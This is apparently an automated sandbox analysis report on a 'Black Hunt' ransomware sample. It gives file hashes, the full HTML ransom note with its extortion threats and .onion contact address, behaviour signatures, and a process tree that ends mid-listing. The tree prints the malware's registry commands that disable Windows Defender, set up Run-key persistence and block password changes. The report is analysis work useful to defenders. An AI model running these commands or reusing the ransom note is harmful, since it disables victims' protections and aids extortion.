Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    19/01/2024, 00:01

General

  • Target

    866bf49af5aac5bc58e7c3bbfeffcd7c8bff1f7f9ee638c104b1996ab064f56b.exe

  • Size

    707KB

  • MD5

    0e23164e4c48467433091aa5c26a5b87

  • SHA1

    c42776c62f093d75bcff4f6f23942b0a3b61abf1

  • SHA256

    866bf49af5aac5bc58e7c3bbfeffcd7c8bff1f7f9ee638c104b1996ab064f56b

  • SHA512

    ff15d51c3bd1f969f30c2c3f4aa6298989472314ac273ae101ddbed58d719d138014390df1f34bf7c66a4fdea2d4b6ba8c7c4d680e7c508320bf2f153744b501

  • SSDEEP

    6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1X8fvnh:6uaTmkZJ+naie5OTamgEoKxLWm3h

Malware Config

Extracted

Path

F:\#BlackHunt_ReadMe.hta

Ransom Note
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> qGf75ptcpaGMwzyw </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>
URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 5 IoCs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
  • Renames multiple (2884) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

  • Disables Task Manager via registry modification
  • Disables use of System Restore points 1 TTPs
  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Interacts with shadow copies 2 TTPs 6 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 10 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\866bf49af5aac5bc58e7c3bbfeffcd7c8bff1f7f9ee638c104b1996ab064f56b.exe
    "C:\Users\Admin\AppData\Local\Temp\866bf49af5aac5bc58e7c3bbfeffcd7c8bff1f7f9ee638c104b1996ab064f56b.exe"
    1⤵
    • UAC bypass
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2968
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
      2⤵
        PID:2160
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
          3⤵
          • Modifies registry class
          PID:2676
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
        2⤵
          PID:2944
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
            3⤵
            • Modifies registry class
            PID:2184
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
          2⤵
            PID:3052
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
              3⤵
              • Modifies registry class
              PID:2316
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
            2⤵
              PID:3008
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
                3⤵
                  PID:1660
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                2⤵
                  PID:1524
                  • C:\Windows\system32\reg.exe
                    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                    3⤵
                    • Adds Run key to start application
                    PID:2644
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                  2⤵
                    PID:2244
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                      3⤵
                        PID:328
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                      2⤵
                        PID:2568
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                          3⤵
                          • Modifies Windows Defender Real-time Protection settings
                          PID:400
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                        2⤵
                          PID:2652
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                            3⤵
                              PID:2912
                          • C:\Windows\System32\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                            2⤵
                              PID:2692
                              • C:\Windows\system32\reg.exe
                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                                3⤵
                                  PID:2908
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                2⤵
                                  PID:2592
                                  • C:\Windows\system32\reg.exe
                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                    3⤵
                                      PID:776
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                    2⤵
                                      PID:2548
                                      • C:\Windows\system32\reg.exe
                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                        3⤵
                                          PID:1772
                                      • C:\Windows\System32\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                        2⤵
                                          PID:2704
                                          • C:\Windows\system32\reg.exe
                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                            3⤵
                                              PID:1300
                                          • C:\Windows\System32\cmd.exe
                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                            2⤵
                                              PID:2696
                                              • C:\Windows\system32\reg.exe
                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                3⤵
                                                  PID:1116
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                2⤵
                                                  PID:2448
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                    3⤵
                                                      PID:980
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:2984
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:1752
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:2556
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                            3⤵
                                                              PID:2996
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                            2⤵
                                                              PID:2528
                                                              • C:\Windows\system32\reg.exe
                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                                3⤵
                                                                  PID:1976
                                                              • C:\Windows\System32\cmd.exe
